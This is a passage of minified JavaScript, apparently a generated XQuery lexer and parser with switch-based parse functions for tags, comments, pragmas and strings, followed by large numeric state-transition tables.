131:f(131);break;case 139:f(139);break;case 152:f(152);break;case 153:f(153);break;case 159:f(159);break;case 169:f(169);break;case 190:f(190);break;case 197:f(197);break;case 201:f(201);break;case 220:f(220);break;case 223:f(223);break;case 226:f(226);break;case 232:f(232);break;case 238:f(238);break;case 249:f(249);break;case 250:f(250);break;case 255:f(255);break;case 259:f(259);break;case 261:f(261);break;case 265:f(265);break;case 95:f(95);break;case 174:f(174);break;default:f(219)}E.endNonterminal(\"NCName\",g)}function f(e){y==e?(l(),E.terminal(i.TOKEN[y],b,w>x?x:w),m=b,g=w,y=0):d(b,w,0,y,e)}function l(){g!=b&&(m=g,g=b,E.whitespace(m,g))}function c(e){var t;for(;;){t=C(e);if(t!=30)break}return t}function h(e){y==0&&(y=c(e),b=T,w=N)}function p(e){y==0&&(y=C(e),b=T,w=N)}function d(e,t,r,i,s){throw new n.ParseException(e,t,r,i,s)}function C(e){var t=!1;T=N;var n=N,r=i.INITIAL[e],s=0;for(var o=r&4095;o!=0;){var u,a=n<x?S.charCodeAt(n):0;++n;if(a<128)u=i.MAP0[a];else if(a<55296){var f=a>>4;u=i.MAP1[(a&15)+i.MAP1[(f&31)+i.MAP1[f>>5]]]}else{if(a<56320){var f=n<x?S.charCodeAt(n):0;f>=56320&&f<57344&&(++n,a=((a&1023)<<10)+(f&1023)+65536,t=!0)}var l=0,c=5;for(var h=3;;h=c+l>>1){if(i.MAP2[h]>a)c=h-1;else{if(!(i.MAP2[6+h]<a)){u=i.MAP2[12+h];break}l=h+1}if(l>c){u=0;break}}}s=o;var p=(u<<12)+o-1;o=i.TRANSITION[(p&15)+i.TRANSITION[p>>4]],o>4095&&(r=o,o&=4095,N=n)}r>>=12;if(r==0){N=n-1;var f=N<x?S.charCodeAt(N):0;return f>=56320&&f<57344&&--N,d(T,N,s,-1,-1)}if(t)for(var v=r>>9;v>0;--v){--N;var f=N<x?S.charCodeAt(N):0;f>=56320&&f<57344&&--N}else N-=r>>9;return(r&511)-1}r(e,t);var n=this;this.ParseException=function(e,t,n,r,i){var s=e,o=t,u=n,a=r,f=i;this.getBegin=function(){return s},this.getEnd=function(){return o},this.getState=function(){return u},this.getExpected=function(){return f},this.getOffending=function(){return a},this.getMessage=function(){return a<0?\"lexical analysis failed\":\"syntax error\"}},this.getInput=function(){return S},this.getOffendingToken=function(e){var t=e.getOffending();return t>=0?i.TOKEN[t]:null},this.getExpectedTokenSet=function(e){var t;return e.getExpected()<0?t=i.getTokenSet(-e.getState()):t=[i.TOKEN[e.getExpected()]],t},this.getErrorMessage=function(e){var t=this.getExpectedTokenSet(e),n=this.getOffendingToken(e),r=S.substring(0,e.getBegin()),i=r.split(\"\\n\"),s=i.length,o=i[s-1].length+1,u=e.getEnd()-e.getBegin();return e.getMessage()+(n==null?\"\":\", found \"+n)+\"\\nwhile expecting \"+(t.length==1?t[0]:\"[\"+t.join(\", \")+\"]\")+\"\\n\"+(u==0||n!=null?\"\":\"after successfully scanning \"+u+\" characters beginning \")+\"at line \"+s+\", column \"+o+\":\\n...\"+S.substring(e.getBegin(),Math.min(S.length,e.getBegin()+64))+\"...\"},this.parse_start=function(){E.startNonterminal(\"start\",g),h(14);switch(y){case 58:f(58);break;case 57:f(57);break;case 59:f(59);break;case 43:f(43);break;case 45:f(45);break;case 44:f(44);break;case 37:f(37);break;case 41:f(41);break;case 277:f(277);break;case 274:f(274);break;case 42:f(42);break;case 46:f(46);break;case 52:f(52);break;case 65:f(65);break;case 66:f(66);break;case 49:f(49);break;case 51:f(51);break;case 56:f(56);break;case 54:f(54);break;case 36:f(36);break;case 276:f(276);break;case 40:f(40);break;case 5:f(5);break;case 4:f(4);break;case 6:f(6);break;case 15:f(15);break;case 16:f(16);break;case 18:f(18);break;case 19:f(19);break;case 20:f(20);break;case 8:f(8);break;case 9:f(9);break;case 7:f(7);break;case 35:f(35);break;default:o()}E.endNonterminal(\"start\",g)},this.parse_StartTag=function(){E.startNonterminal(\"StartTag\",g),h(8);switch(y){case 61:f(61);break;case 53:f(53);break;case 29:f(29);break;case 60:f(60);break;case 37:f(37);break;case 41:f(41);break;default:f(35)}E.endNonterminal(\"StartTag\",g)},this.parse_TagContent=function(){E.startNonterminal(\"TagContent\",g),p(11);switch(y){case 25:f(25);break;case 9:f(9);break;case 10:f(10);break;case 58:f(58);break;case 57:f(57);break;case 21:f(21);break;case 31:f(31);break;case 275:f(275);break;case 278:f(278);break;case 274:f(274);break;default:f(35)}E.endNonterminal(\"TagContent\",g)},this.parse_AposAttr=function(){E.startNonterminal(\"AposAttr\",g),p(10);switch(y){case 23:f(23);break;case 27:f(27);break;case 21:f(21);break;case 31:f(31);break;case 275:f(275);break;case 278:f(278);break;case 274:f(274);break;case 41:f(41);break;default:f(35)}E.endNonterminal(\"AposAttr\",g)},this.parse_QuotAttr=function(){E.startNonterminal(\"QuotAttr\",g),p(9);switch(y){case 22:f(22);break;case 26:f(26);break;case 21:f(21);break;case 31:f(31);break;case 275:f(275);break;case 278:f(278);break;case 274:f(274);break;case 37:f(37);break;default:f(35)}E.endNonterminal(\"QuotAttr\",g)},this.parse_CData=function(){E.startNonterminal(\"CData\",g),p(1);switch(y){case 14:f(14);break;case 67:f(67);break;default:f(35)}E.endNonterminal(\"CData\",g)},this.parse_XMLComment=function(){E.startNonterminal(\"XMLComment\",g),p(0);switch(y){case 12:f(12);break;case 50:f(50);break;default:f(35)}E.endNonterminal(\"XMLComment\",g)},this.parse_PI=function(){E.startNonterminal(\"PI\",g),p(3);switch(y){case 13:f(13);break;case 62:f(62);break;case 63:f(63);break;default:f(35)}E.endNonterminal(\"PI\",g)},this.parse_Pragma=function(){E.startNonterminal(\"Pragma\",g),p(2);switch(y){case 11:f(11);break;case 38:f(38);break;case 39:f(39);break;default:f(35)}E.endNonterminal(\"Pragma\",g)},this.parse_Comment=function(){E.startNonterminal(\"Comment\",g),p(4);switch(y){case 55:f(55);break;case 44:f(44);break;case 32:f(32);break;default:f(35)}E.endNonterminal(\"Comment\",g)},this.parse_CommentDoc=function(){E.startNonterminal(\"CommentDoc\",g),p(6);switch(y){case 33:f(33);break;case 34:f(34);break;case 55:f(55);break;case 44:f(44);break;default:f(35)}E.endNonterminal(\"CommentDoc\",g)},this.parse_QuotString=function(){E.startNonterminal(\"QuotString\",g),p(5);switch(y){case 3:f(3);break;case 2:f(2);break;case 1:f(1);break;case 37:f(37);break;default:f(35)}E.endNonterminal(\"QuotString\",g)},this.parse_AposString=function(){E.startNonterminal(\"AposString\",g),p(7);switch(y){case 21:f(21);break;case 31:f(31);break;case 23:f(23);break;case 24:f(24);break;case 41:f(41);break;default:f(35)}E.endNonterminal(\"AposString\",g)},this.parse_Prefix=function(){E.startNonterminal(\"Prefix\",g),h(13),l(),a(),E.endNonterminal(\"Prefix\",g)},this.parse__EQName=function(){E.startNonterminal(\"_EQName\",g),h(12),l(),o(),E.endNonterminal(\"_EQName\",g)};var v,m,g,y,b,w,E,S,x,T,N};r.getTokenSet=function(e){var t=[],n=e<0?-e:INITIAL[e]&4095;for(var i=0;i<279;i+=32){var s=i,o=(i>>5)*2066+n-1,u=o>>2,a=u>>2,f=r.EXPECTED[(o&3)+r.EXPECTED[(u&3)+r.EXPECTED[(a&3)+r.EXPECTED[a>>2]]]];for(;f!=0;f>>>=1,++s)(f&1)!=0&&t.push(r.TOKEN[s])}return t},r.MAP0=[67,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,18,18,18,18,18,18,18,18,18,19,20,21,22,23,24,25,26,27,28,29,30,27,31,31,31,31,31,31,31,31,31,31,32,31,31,33,31,31,31,31,31,31,34,35,36,37,31,37,38,39,40,41,42,43,44,45,46,31,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,31,62,63,64,65,37],r.MAP1=[108,124,214,214,214,214,214,214,214,214,214,214,214,214,214,214,156,181,181,181,181,181,214,215,213,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,247,261,277,293,309,347,363,379,416,416,416,408,331,323,331,323,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,433,433,433,433,433,433,433,316,331,331,331,331,331,331,331,331,394,416,416,417,415,416,416,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,330,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,416,67,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,18,18,18,18,18,18,18,18,18,19,20,21,22,23,24,25,26,27,28,29,30,27,31,31,31,31,31,31,31,31,31,31,31,31,31,31,37,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,32,31,31,33,31,31,31,31,31,31,34,35,36,37,31,37,38,39,40,41,42,43,44,45,46,31,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,31,62,63,64,65,37,37,37,37,37,37,37,37,37,37,37,37,31,31,37,37,37,37,37,37,37,66,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66],r.MAP2=[57344,63744,64976,65008,65536,983040,63743,64975,65007,65533,983039,1114111,37,31,37,31,31,37],r.INITIAL=[1,2,49155,57348,5,6,7,8,9,10,11,12,13,14,15],r.TRANSITION=[19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,17408,19288,17439,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,22126,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17672,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,19469,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,36919,18234,18262,18278,18294,18320,18336,18361,18397,18419,18432,18304,18448,18485,18523,18553,18583,18599,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,18825,18841,18871,18906,18944,18960,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19074,36169,17439,36866,17466,36890,36866,22314,19105,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,22126,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17672,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,19469,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,36919,18234,18262,18278,18294,18320,18336,18361,18397,18419,18432,18304,18448,18485,18523,18553,18583,18599,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,18825,18841,18871,18906,18944,18960,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22182,19288,19121,36866,17466,18345,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19273,19552,19304,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19332,17423,19363,36866,17466,17537,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,18614,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,19391,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,19427,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36154,19288,19457,36866,17466,17740,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22780,19288,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22375,22197,18469,36866,17466,36890,36866,21991,24018,22987,17556,17575,22288,17486,17509,17525,18373,21331,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,19485,19501,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19537,22390,19568,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19596,19611,19457,36866,17466,36890,36866,18246,19627,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22242,20553,19457,36866,17466,36890,36866,18648,30477,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36472,19288,19457,36866,17466,17809,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,21770,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,19643,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,19672,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,20538,19288,19457,36866,17466,36890,368